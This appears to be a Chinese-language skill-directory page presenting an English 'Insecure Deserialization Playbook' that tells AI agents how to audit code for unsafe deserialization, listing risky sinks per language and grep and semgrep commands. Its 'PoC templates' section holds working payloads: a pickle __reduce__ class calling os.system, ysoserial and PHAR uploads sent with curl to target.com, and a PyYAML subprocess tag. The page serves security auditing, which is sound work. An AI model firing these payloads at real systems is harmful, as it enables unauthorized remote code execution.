跳到正文
Skillpedia
安全6.5k · #13957

deserialization

它能做什么

这项技能是一份排查不安全反序列化的操作指南。不安全反序列化是指把不可信数据以不安全的方式还原为程序对象。适合检查自己有权审查代码的开发人员和审查人员。

适用场景

  • ✓当开发人员要求智能体检查不可信数据是否通过不安全的反序列化函数加载时。
  • ✓当智能体审查 Python、Java、.NET、PHP 或 Ruby 代码中有风险的加载调用时。
  • ✓当团队需要一份更安全的加载函数清单,以替代有风险的函数时。

技能链接

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/deserialization/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/deserialization/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“请帮我检查我们已获授权的 Python 代码,看看是否有不可信数据通过 pickle 或不安全的 YAML 被加载?”

每周 5 个新技能,1 分钟读完。

工作原理

智能体在各语言中搜索有风险的加载函数,追踪其输入的来源,并列出需要更安全处理的位置。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

Insecure Deserialization Playbook

Deserialization is the single most reliable path from a byte string under user control to unauthenticated remote code execution. Modern frameworks have tried to wall this off, but chained-gadget attacks (ysoserial, ysoserial.net, marshalsec, phpggc) still make this a top-tier finding.

1. Sources (user-controlled data that becomes an object)

  • HTTP body, cookie, header, query param
  • Message queue payload (Kafka, RabbitMQ, SQS)
  • File upload parsed as config
  • WebSocket messages
  • Inter-service RPC

2. Dangerous sinks by language

Python

  • pickle.loads / pickle.load / pickle.Unpickler
  • dill.loads, cloudpickle.loads, shelve.open
  • yaml.load() without Loader=SafeLoader
  • jsonpickle.decode
  • numpy.load(allow_pickle=True)
  • torch.load (loads pickled tensors → RCE)
  • joblib.load
  • marshal.loads
grep -rE 'pickle\.loads?\(|yaml\.load\([^)]*Loader=(FullLoader|Loader)?\)|torch\.load\(' /workspace/src
semgrep --config p/insecure-transport --config p/python /workspace/src -o /workspace/sem-deser.sarif

Java

  • ObjectInputStream.readObject
  • XMLDecoder.readObject
  • Jackson ObjectMapper with default typing + polymorphic types
  • SnakeYAML Yaml.load() (before 2.0) — RCE via !!javax.script.ScriptEngineManager
  • XStream without whitelist
  • Hessian, Kryo with registration disabled

Gadgets: ysoserial payloads (CommonsCollections, Spring, Groovy, C3P0)

.NET

  • BinaryFormatter.Deserialize (deprecated but still common)
  • SoapFormatter, LosFormatter, ObjectStateFormatter
  • JavaScriptSerializer with SimpleTypeResolver
  • Json.NET with TypeNameHandling != None

PHP

  • unserialize() on any user input
  • PHAR uploads — file_exists("phar://upload.phar") triggers deser
  • Laravel decrypt() → unserialize (pre-patched APP_KEY leak chain)

Ruby

  • Marshal.load
  • YAML.load (before Psych 4 safe default)
  • Oj.load without mode: :rails

Node.js

  • node-serialize unserialize()
  • serialize-to-js deserialize()
  • vm.runInNewContext(userInput) — not technically deser but same impact

3. Gadget chain availability

A sink is only exploitable if the right gadget classes are on the classpath. Check the lockfile / vendored deps for known gadget-rich libraries:

# Java
find /workspace/src -name 'pom.xml' -exec grep -lE 'commons-collections|spring-beans|xalan|bcel|commons-beanutils' {} +

# Python
grep -rE 'torch|numpy.*allow_pickle|jinja2' /workspace/src/requirements*.txt

# Node
jq '.dependencies | keys[]' /workspace/src/package.json | grep -E 'lodash|ejs|handlebars'

4. Taint audit workflow

  1. Identify every source (HTTP body/cookie/header handlers).
  2. Trace the data through:
    • Explicit .loads/.readObject/unserialize calls
    • Framework magic (Spring @RequestBody with default typing)
    • File uploads parsed as config
  3. For each confirmed source-to-sink path, check gadget availability on the classpath.
  4. Record as graph vulnerability node. If no gadgets are currently available, mark exploitability="conditional" — the dep upgrade that ships the gadget class is a time bomb.

5. PoC templates

Python pickle (direct)

import pickle, base64, os
class E:
    def __reduce__(self): return (os.system, ("id > /tmp/pwn",))
print(base64.b64encode(pickle.dumps(E())).decode())

Send as cookie/body; success = /tmp/pwn present or command output reflected.

Java ysoserial

java -jar ysoserial.jar CommonsCollections5 'touch /tmp/pwn' | base64 -w0
curl -X POST https://target.com/api/import -H "Content-Type: application/x-java-serialized-object" --data-binary @payload.set

PHP PHAR

php -d phar.readonly=0 build-phar.php
curl -F 'file=@evil.phar' https://target.com/upload
# Trigger: any filesystem call on phar:// wrapper

YAML (PyYAML < safe default)

!!python/object/new:subprocess.check_output [["id"]]

6. Default CVSS

All unauthenticated deser → RCE are 10.0 critical: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Authenticated deser: drop PR to L → 9.9.

7. Validation contract

validate_finding(
  vuln_id=...,
  poc_command="curl -X POST https://target.com/api/import --data-binary @payload.bin",
  success_patterns="uid=0|root@|pwned|/tmp/pwn",
  negative_command="curl -X POST https://target.com/api/import --data 'benign'",
  negative_patterns="200|accepted",
  cvss_vector="CVSS:3.1/AV:N/AC:L
常见问题

什么是反序列化?

就是把存储或传输的数据还原为程序对象。如果数据不可信,这一过程可能不安全。

哪些来源有风险?

该技能列出 HTTP 输入、消息队列、上传的配置文件和 WebSocket 消息等常见来源。

这是一个少见的问题吗?

该技能称它是通往代码执行最可靠的途径之一,因此被列为高优先级。

详情

作者的原始描述

Hunt insecure deserialization (CWE-502) across Python pickle, Java ObjectInputStream / Jackson / SnakeYAML, .NET BinaryFormatter / DataContractJson, PHP unserialize, Ruby Marshal/YAML.load, and Node.js vm. Direct path to unauthenticated RCE.

repo: BitterSecurity/Decepticon

热度

GitHub 星标
6.5k
排名
#13957
许可证
Apache-2.0
更新时间
2026/11/1

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能